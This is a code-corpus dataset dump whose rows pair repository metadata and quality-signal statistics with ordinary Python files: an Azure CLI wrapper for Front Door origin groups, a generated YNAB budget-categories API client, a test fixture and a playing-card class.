hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
a531ca749f332cb9c7960c597a8f1e26e0d8db3e
4,092
py
Python
pyaz/afd/origin_group/__init__.py
py-az-cli/py-az-cli
9a7dc44e360c096a5a2f15595353e9dad88a9792
[ "MIT" ]
null
null
null
pyaz/afd/origin_group/__init__.py
py-az-cli/py-az-cli
9a7dc44e360c096a5a2f15595353e9dad88a9792
[ "MIT" ]
null
null
null
pyaz/afd/origin_group/__init__.py
py-az-cli/py-az-cli
9a7dc44e360c096a5a2f15595353e9dad88a9792
[ "MIT" ]
1
2022-02-03T09:12:01.000Z
2022-02-03T09:12:01.000Z
from ... pyaz_utils import _call_az def show(origin_group_name, profile_name, resource_group): ''' Required Parameters: - origin_group_name -- Name of the origin group. - profile_name -- Name of the CDN profile which is unique within the resource group. - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>` ''' return _call_az("az afd origin-group show", locals()) def list(profile_name, resource_group): ''' Required Parameters: - profile_name -- Name of the CDN profile which is unique within the resource group. - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>` ''' return _call_az("az afd origin-group list", locals()) def create(additional_latency_in_milliseconds, origin_group_name, probe_path, probe_protocol, probe_request_type, profile_name, resource_group, sample_size, successful_samples_required, probe_interval_in_seconds=None): ''' Creates a new origin group within the specified profile. Required Parameters: - additional_latency_in_milliseconds -- The additional latency in milliseconds for probes to fall into the lowest latency bucket. - origin_group_name -- Name of the origin group. - probe_path -- The path relative to the origin that is used to determine the health of the origin. - probe_protocol -- Protocol to use for health probe. - probe_request_type -- The type of health probe request that is made. - profile_name -- Name of the CDN profile which is unique within the resource group. - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>` - sample_size -- The number of samples to consider for load balancing decisions. - successful_samples_required -- The number of samples within the sample period that must succeed. Optional Parameters: - probe_interval_in_seconds -- The number of seconds between health probes. ''' return _call_az("az afd origin-group create", locals()) def update(origin_group_name, profile_name, resource_group, additional_latency_in_milliseconds=None, probe_interval_in_seconds=None, probe_path=None, probe_protocol=None, probe_request_type=None, sample_size=None, successful_samples_required=None): ''' Creates a new origin group within the specified profile. Required Parameters: - origin_group_name -- Name of the origin group. - profile_name -- Name of the CDN profile which is unique within the resource group. - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>` Optional Parameters: - additional_latency_in_milliseconds -- The additional latency in milliseconds for probes to fall into the lowest latency bucket. - probe_interval_in_seconds -- The number of seconds between health probes. - probe_path -- The path relative to the origin that is used to determine the health of the origin. - probe_protocol -- Protocol to use for health probe. - probe_request_type -- The type of health probe request that is made. - sample_size -- The number of samples to consider for load balancing decisions. - successful_samples_required -- The number of samples within the sample period that must succeed. ''' return _call_az("az afd origin-group update", locals()) def delete(origin_group_name, profile_name, resource_group, yes=None): ''' Deletes an existing origin group within the specified profile. Required Parameters: - origin_group_name -- Name of the origin group. - profile_name -- Name of the CDN profile which is unique within the resource group. - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=<name>` Optional Parameters: - yes -- Do not prompt for confirmation. ''' return _call_az("az afd origin-group delete", locals())
49.902439
248
0.744379
570
4,092
5.166667
0.152632
0.074703
0.03056
0.039728
0.843803
0.827504
0.813243
0.744992
0.733107
0.733107
0
0
0.186461
4,092
81
249
50.518519
0.88465
0.69868
0
0
0
0
0.125498
0
0
0
0
0
0
1
0.454545
false
0
0.090909
0
1
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
8
a55b74213eda99817419454d58d7f6e70d2f9642
33,165
py
Python
pynab/openapi/api/categories_api.py
idwagner/pynab
26e0f2d2adc86374ff5caf5a614778fafa1c19d6
[ "Apache-2.0" ]
null
null
null
pynab/openapi/api/categories_api.py
idwagner/pynab
26e0f2d2adc86374ff5caf5a614778fafa1c19d6
[ "Apache-2.0" ]
null
null
null
pynab/openapi/api/categories_api.py
idwagner/pynab
26e0f2d2adc86374ff5caf5a614778fafa1c19d6
[ "Apache-2.0" ]
1
2020-11-05T22:28:13.000Z
2020-11-05T22:28:13.000Z
# coding: utf-8 """ YNAB API Endpoints Our API uses a REST based design, leverages the JSON data format, and relies upon HTTPS for transport. We respond with meaningful HTTP response codes and if an error occurs, we include error details in the response body. API Documentation is at https://api.youneedabudget.com # noqa: E501 The version of the OpenAPI document: 1.0.0 Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from pynab.openapi.api_client import ApiClient from pynab.openapi.exceptions import ( # noqa: F401 ApiTypeError, ApiValueError ) class CategoriesApi(object): """NOTE: This class is auto generated by OpenAPI Generator Ref: https://openapi-generator.tech Do not edit the class manually. """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def get_categories(self, budget_id, **kwargs): # noqa: E501 """List categories # noqa: E501 Returns all categories grouped by category group. Amounts (budgeted, activity, balance, etc.) are specific to the current budget month (UTC). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_categories(budget_id, async_req=True) >>> result = thread.get() :param budget_id: The id of the budget. \"last-used\" can be used to specify the last used budget and \"default\" can be used if default budget selection is enabled (see: https://api.youneedabudget.com/#oauth-default-budget). (required) :type budget_id: str :param last_knowledge_of_server: The starting server knowledge. If provided, only entities that have changed since `last_knowledge_of_server` will be included. :type last_knowledge_of_server: int :param async_req: Whether to execute the request asynchronously. :type async_req: bool, optional :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :type _preload_content: bool, optional :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Returns the result object. If the method is called asynchronously, returns the request thread. :rtype: CategoriesResponse """ kwargs['_return_http_data_only'] = True return self.get_categories_with_http_info(budget_id, **kwargs) # noqa: E501 def get_categories_with_http_info(self, budget_id, **kwargs): # noqa: E501 """List categories # noqa: E501 Returns all categories grouped by category group. Amounts (budgeted, activity, balance, etc.) are specific to the current budget month (UTC). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_categories_with_http_info(budget_id, async_req=True) >>> result = thread.get() :param budget_id: The id of the budget. \"last-used\" can be used to specify the last used budget and \"default\" can be used if default budget selection is enabled (see: https://api.youneedabudget.com/#oauth-default-budget). (required) :type budget_id: str :param last_knowledge_of_server: The starting server knowledge. If provided, only entities that have changed since `last_knowledge_of_server` will be included. :type last_knowledge_of_server: int :param async_req: Whether to execute the request asynchronously. :type async_req: bool, optional :param _return_http_data_only: response data without head status code and headers :type _return_http_data_only: bool, optional :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :type _preload_content: bool, optional :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :param _request_auth: set to override the auth_settings for an a single request; this effectively ignores the authentication in the spec for a single request. :type _request_auth: dict, optional :return: Returns the result object. If the method is called asynchronously, returns the request thread. :rtype: tuple(CategoriesResponse, status_code(int), headers(HTTPHeaderDict)) """ local_var_params = locals() all_params = [ 'budget_id', 'last_knowledge_of_server' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout', '_request_auth' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_categories" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'budget_id' is set if self.api_client.client_side_validation and ('budget_id' not in local_var_params or # noqa: E501 local_var_params['budget_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `budget_id` when calling `get_categories`") # noqa: E501 collection_formats = {} path_params = {} if 'budget_id' in local_var_params: path_params['budget_id'] = local_var_params['budget_id'] # noqa: E501 query_params = [] if 'last_knowledge_of_server' in local_var_params and local_var_params['last_knowledge_of_server'] is not None: # noqa: E501 query_params.append(('last_knowledge_of_server', local_var_params['last_knowledge_of_server'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['bearer'] # noqa: E501 response_types_map = { 200: "CategoriesResponse", 404: "ErrorResponse", } return self.api_client.call_api( '/budgets/{budget_id}/categories', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_types_map=response_types_map, auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats, _request_auth=local_var_params.get('_request_auth')) def get_category_by_id(self, budget_id, category_id, **kwargs): # noqa: E501 """Single category # noqa: E501 Returns a single category. Amounts (budgeted, activity, balance, etc.) are specific to the current budget month (UTC). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_category_by_id(budget_id, category_id, async_req=True) >>> result = thread.get() :param budget_id: The id of the budget. \"last-used\" can be used to specify the last used budget and \"default\" can be used if default budget selection is enabled (see: https://api.youneedabudget.com/#oauth-default-budget). (required) :type budget_id: str :param category_id: The id of the category (required) :type category_id: str :param async_req: Whether to execute the request asynchronously. :type async_req: bool, optional :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :type _preload_content: bool, optional :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Returns the result object. If the method is called asynchronously, returns the request thread. :rtype: CategoryResponse """ kwargs['_return_http_data_only'] = True return self.get_category_by_id_with_http_info(budget_id, category_id, **kwargs) # noqa: E501 def get_category_by_id_with_http_info(self, budget_id, category_id, **kwargs): # noqa: E501 """Single category # noqa: E501 Returns a single category. Amounts (budgeted, activity, balance, etc.) are specific to the current budget month (UTC). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_category_by_id_with_http_info(budget_id, category_id, async_req=True) >>> result = thread.get() :param budget_id: The id of the budget. \"last-used\" can be used to specify the last used budget and \"default\" can be used if default budget selection is enabled (see: https://api.youneedabudget.com/#oauth-default-budget). (required) :type budget_id: str :param category_id: The id of the category (required) :type category_id: str :param async_req: Whether to execute the request asynchronously. :type async_req: bool, optional :param _return_http_data_only: response data without head status code and headers :type _return_http_data_only: bool, optional :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :type _preload_content: bool, optional :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :param _request_auth: set to override the auth_settings for an a single request; this effectively ignores the authentication in the spec for a single request. :type _request_auth: dict, optional :return: Returns the result object. If the method is called asynchronously, returns the request thread. :rtype: tuple(CategoryResponse, status_code(int), headers(HTTPHeaderDict)) """ local_var_params = locals() all_params = [ 'budget_id', 'category_id' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout', '_request_auth' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_category_by_id" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'budget_id' is set if self.api_client.client_side_validation and ('budget_id' not in local_var_params or # noqa: E501 local_var_params['budget_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `budget_id` when calling `get_category_by_id`") # noqa: E501 # verify the required parameter 'category_id' is set if self.api_client.client_side_validation and ('category_id' not in local_var_params or # noqa: E501 local_var_params['category_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `category_id` when calling `get_category_by_id`") # noqa: E501 collection_formats = {} path_params = {} if 'budget_id' in local_var_params: path_params['budget_id'] = local_var_params['budget_id'] # noqa: E501 if 'category_id' in local_var_params: path_params['category_id'] = local_var_params['category_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['bearer'] # noqa: E501 response_types_map = { 200: "CategoryResponse", 404: "ErrorResponse", } return self.api_client.call_api( '/budgets/{budget_id}/categories/{category_id}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_types_map=response_types_map, auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats, _request_auth=local_var_params.get('_request_auth')) def get_month_category_by_id(self, budget_id, month, category_id, **kwargs): # noqa: E501 """Single category for a specific budget month # noqa: E501 Returns a single category for a specific budget month. Amounts (budgeted, activity, balance, etc.) are specific to the current budget month (UTC). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_month_category_by_id(budget_id, month, category_id, async_req=True) >>> result = thread.get() :param budget_id: The id of the budget. \"last-used\" can be used to specify the last used budget and \"default\" can be used if default budget selection is enabled (see: https://api.youneedabudget.com/#oauth-default-budget). (required) :type budget_id: str :param month: The budget month in ISO format (e.g. 2016-12-01) (\"current\" can also be used to specify the current calendar month (UTC)) (required) :type month: date :param category_id: The id of the category (required) :type category_id: str :param async_req: Whether to execute the request asynchronously. :type async_req: bool, optional :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :type _preload_content: bool, optional :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Returns the result object. If the method is called asynchronously, returns the request thread. :rtype: CategoryResponse """ kwargs['_return_http_data_only'] = True return self.get_month_category_by_id_with_http_info(budget_id, month, category_id, **kwargs) # noqa: E501 def get_month_category_by_id_with_http_info(self, budget_id, month, category_id, **kwargs): # noqa: E501 """Single category for a specific budget month # noqa: E501 Returns a single category for a specific budget month. Amounts (budgeted, activity, balance, etc.) are specific to the current budget month (UTC). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_month_category_by_id_with_http_info(budget_id, month, category_id, async_req=True) >>> result = thread.get() :param budget_id: The id of the budget. \"last-used\" can be used to specify the last used budget and \"default\" can be used if default budget selection is enabled (see: https://api.youneedabudget.com/#oauth-default-budget). (required) :type budget_id: str :param month: The budget month in ISO format (e.g. 2016-12-01) (\"current\" can also be used to specify the current calendar month (UTC)) (required) :type month: date :param category_id: The id of the category (required) :type category_id: str :param async_req: Whether to execute the request asynchronously. :type async_req: bool, optional :param _return_http_data_only: response data without head status code and headers :type _return_http_data_only: bool, optional :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :type _preload_content: bool, optional :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :param _request_auth: set to override the auth_settings for an a single request; this effectively ignores the authentication in the spec for a single request. :type _request_auth: dict, optional :return: Returns the result object. If the method is called asynchronously, returns the request thread. :rtype: tuple(CategoryResponse, status_code(int), headers(HTTPHeaderDict)) """ local_var_params = locals() all_params = [ 'budget_id', 'month', 'category_id' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout', '_request_auth' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_month_category_by_id" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'budget_id' is set if self.api_client.client_side_validation and ('budget_id' not in local_var_params or # noqa: E501 local_var_params['budget_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `budget_id` when calling `get_month_category_by_id`") # noqa: E501 # verify the required parameter 'month' is set if self.api_client.client_side_validation and ('month' not in local_var_params or # noqa: E501 local_var_params['month'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `month` when calling `get_month_category_by_id`") # noqa: E501 # verify the required parameter 'category_id' is set if self.api_client.client_side_validation and ('category_id' not in local_var_params or # noqa: E501 local_var_params['category_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `category_id` when calling `get_month_category_by_id`") # noqa: E501 collection_formats = {} path_params = {} if 'budget_id' in local_var_params: path_params['budget_id'] = local_var_params['budget_id'] # noqa: E501 if 'month' in local_var_params: path_params['month'] = local_var_params['month'] # noqa: E501 if 'category_id' in local_var_params: path_params['category_id'] = local_var_params['category_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['bearer'] # noqa: E501 response_types_map = { 200: "CategoryResponse", 404: "ErrorResponse", } return self.api_client.call_api( '/budgets/{budget_id}/months/{month}/categories/{category_id}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_types_map=response_types_map, auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats, _request_auth=local_var_params.get('_request_auth')) def update_month_category(self, budget_id, month, category_id, data, **kwargs): # noqa: E501 """Update a category for a specific month # noqa: E501 Update a category for a specific month. Only `budgeted` amount can be updated. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_month_category(budget_id, month, category_id, data, async_req=True) >>> result = thread.get() :param budget_id: The id of the budget. \"last-used\" can be used to specify the last used budget and \"default\" can be used if default budget selection is enabled (see: https://api.youneedabudget.com/#oauth-default-budget). (required) :type budget_id: str :param month: The budget month in ISO format (e.g. 2016-12-01) (\"current\" can also be used to specify the current calendar month (UTC)) (required) :type month: date :param category_id: The id of the category (required) :type category_id: str :param data: The category to update. Only `budgeted` amount can be updated and any other fields specified will be ignored. (required) :type data: SaveMonthCategoryWrapper :param async_req: Whether to execute the request asynchronously. :type async_req: bool, optional :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :type _preload_content: bool, optional :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Returns the result object. If the method is called asynchronously, returns the request thread. :rtype: SaveCategoryResponse """ kwargs['_return_http_data_only'] = True return self.update_month_category_with_http_info(budget_id, month, category_id, data, **kwargs) # noqa: E501 def update_month_category_with_http_info(self, budget_id, month, category_id, data, **kwargs): # noqa: E501 """Update a category for a specific month # noqa: E501 Update a category for a specific month. Only `budgeted` amount can be updated. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.update_month_category_with_http_info(budget_id, month, category_id, data, async_req=True) >>> result = thread.get() :param budget_id: The id of the budget. \"last-used\" can be used to specify the last used budget and \"default\" can be used if default budget selection is enabled (see: https://api.youneedabudget.com/#oauth-default-budget). (required) :type budget_id: str :param month: The budget month in ISO format (e.g. 2016-12-01) (\"current\" can also be used to specify the current calendar month (UTC)) (required) :type month: date :param category_id: The id of the category (required) :type category_id: str :param data: The category to update. Only `budgeted` amount can be updated and any other fields specified will be ignored. (required) :type data: SaveMonthCategoryWrapper :param async_req: Whether to execute the request asynchronously. :type async_req: bool, optional :param _return_http_data_only: response data without head status code and headers :type _return_http_data_only: bool, optional :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :type _preload_content: bool, optional :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :param _request_auth: set to override the auth_settings for an a single request; this effectively ignores the authentication in the spec for a single request. :type _request_auth: dict, optional :return: Returns the result object. If the method is called asynchronously, returns the request thread. :rtype: tuple(SaveCategoryResponse, status_code(int), headers(HTTPHeaderDict)) """ local_var_params = locals() all_params = [ 'budget_id', 'month', 'category_id', 'data' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout', '_request_auth' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method update_month_category" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'budget_id' is set if self.api_client.client_side_validation and ('budget_id' not in local_var_params or # noqa: E501 local_var_params['budget_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `budget_id` when calling `update_month_category`") # noqa: E501 # verify the required parameter 'month' is set if self.api_client.client_side_validation and ('month' not in local_var_params or # noqa: E501 local_var_params['month'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `month` when calling `update_month_category`") # noqa: E501 # verify the required parameter 'category_id' is set if self.api_client.client_side_validation and ('category_id' not in local_var_params or # noqa: E501 local_var_params['category_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `category_id` when calling `update_month_category`") # noqa: E501 # verify the required parameter 'data' is set if self.api_client.client_side_validation and ('data' not in local_var_params or # noqa: E501 local_var_params['data'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `data` when calling `update_month_category`") # noqa: E501 collection_formats = {} path_params = {} if 'budget_id' in local_var_params: path_params['budget_id'] = local_var_params['budget_id'] # noqa: E501 if 'month' in local_var_params: path_params['month'] = local_var_params['month'] # noqa: E501 if 'category_id' in local_var_params: path_params['category_id'] = local_var_params['category_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'data' in local_var_params: body_params = local_var_params['data'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['bearer'] # noqa: E501 response_types_map = { 200: "SaveCategoryResponse", 400: "ErrorResponse", } return self.api_client.call_api( '/budgets/{budget_id}/months/{month}/categories/{category_id}', 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_types_map=response_types_map, auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats, _request_auth=local_var_params.get('_request_auth'))
50.633588
294
0.616192
3,928
33,165
4.967413
0.066446
0.03567
0.056683
0.02214
0.942702
0.941369
0.937064
0.928608
0.925533
0.919639
0
0.01407
0.309965
33,165
654
295
50.711009
0.838541
0.507493
0
0.729452
0
0
0.200393
0.055743
0
0
0
0
0
1
0.030822
false
0
0.017123
0
0.078767
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a5763a3aa7981d9f1b0b5ce51675fd16800a71fc
179
py
Python
tests/core/datamodel/fixtures/routing.py
pedrofreitascampospro/locintel
eb9c56cdc308660c31d90abe9fe62bd3634ba273
[ "MIT" ]
null
null
null
tests/core/datamodel/fixtures/routing.py
pedrofreitascampospro/locintel
eb9c56cdc308660c31d90abe9fe62bd3634ba273
[ "MIT" ]
null
null
null
tests/core/datamodel/fixtures/routing.py
pedrofreitascampospro/locintel
eb9c56cdc308660c31d90abe9fe62bd3634ba273
[ "MIT" ]
null
null
null
import pytest from locintel.core.datamodel.routing import Waypoint @pytest.fixture def test_waypoints(): # TODO: mock instead return Waypoint(10, 0), Waypoint(20, 15)
17.9
52
0.73743
24
179
5.458333
0.833333
0
0
0
0
0
0
0
0
0
0
0.04698
0.167598
179
9
53
19.888889
0.832215
0.100559
0
0
0
0
0
0
0
0
0
0.111111
0
1
0.2
true
0
0.4
0.2
0.8
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
1
0
1
1
1
0
0
7
a576f2e6eae00540739ec07a04ac24942a81c372
205
py
Python
Card.py
pjhaugh/kings_bot
5c2b850cab11219eb55e4c2628a8a77149d2227c
[ "MIT" ]
4
2019-06-06T02:58:35.000Z
2021-09-17T05:08:34.000Z
Card.py
pjhaugh/kings_bot
5c2b850cab11219eb55e4c2628a8a77149d2227c
[ "MIT" ]
null
null
null
Card.py
pjhaugh/kings_bot
5c2b850cab11219eb55e4c2628a8a77149d2227c
[ "MIT" ]
3
2020-03-21T21:05:43.000Z
2021-03-03T01:28:33.000Z
class Card: def __init__(self, value, suit): self.value = value self.suit = suit def __str__(self): return "{} of {}".format(self.value, self.suit) __repr__ = __str__
20.5
55
0.580488
25
205
4.12
0.48
0.262136
0.252427
0
0
0
0
0
0
0
0
0
0.292683
205
9
56
22.777778
0.710345
0
0
0
0
0
0.039024
0
0
0
0
0
0
1
0.285714
false
0
0
0.142857
0.714286
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
7
a593a6ae06cd751a3144a08baaf4439b823e5209
158
py
Python
linux/lib/python2.7/dist-packages/ccm/__init__.py
nmercier/linux-cross-gcc
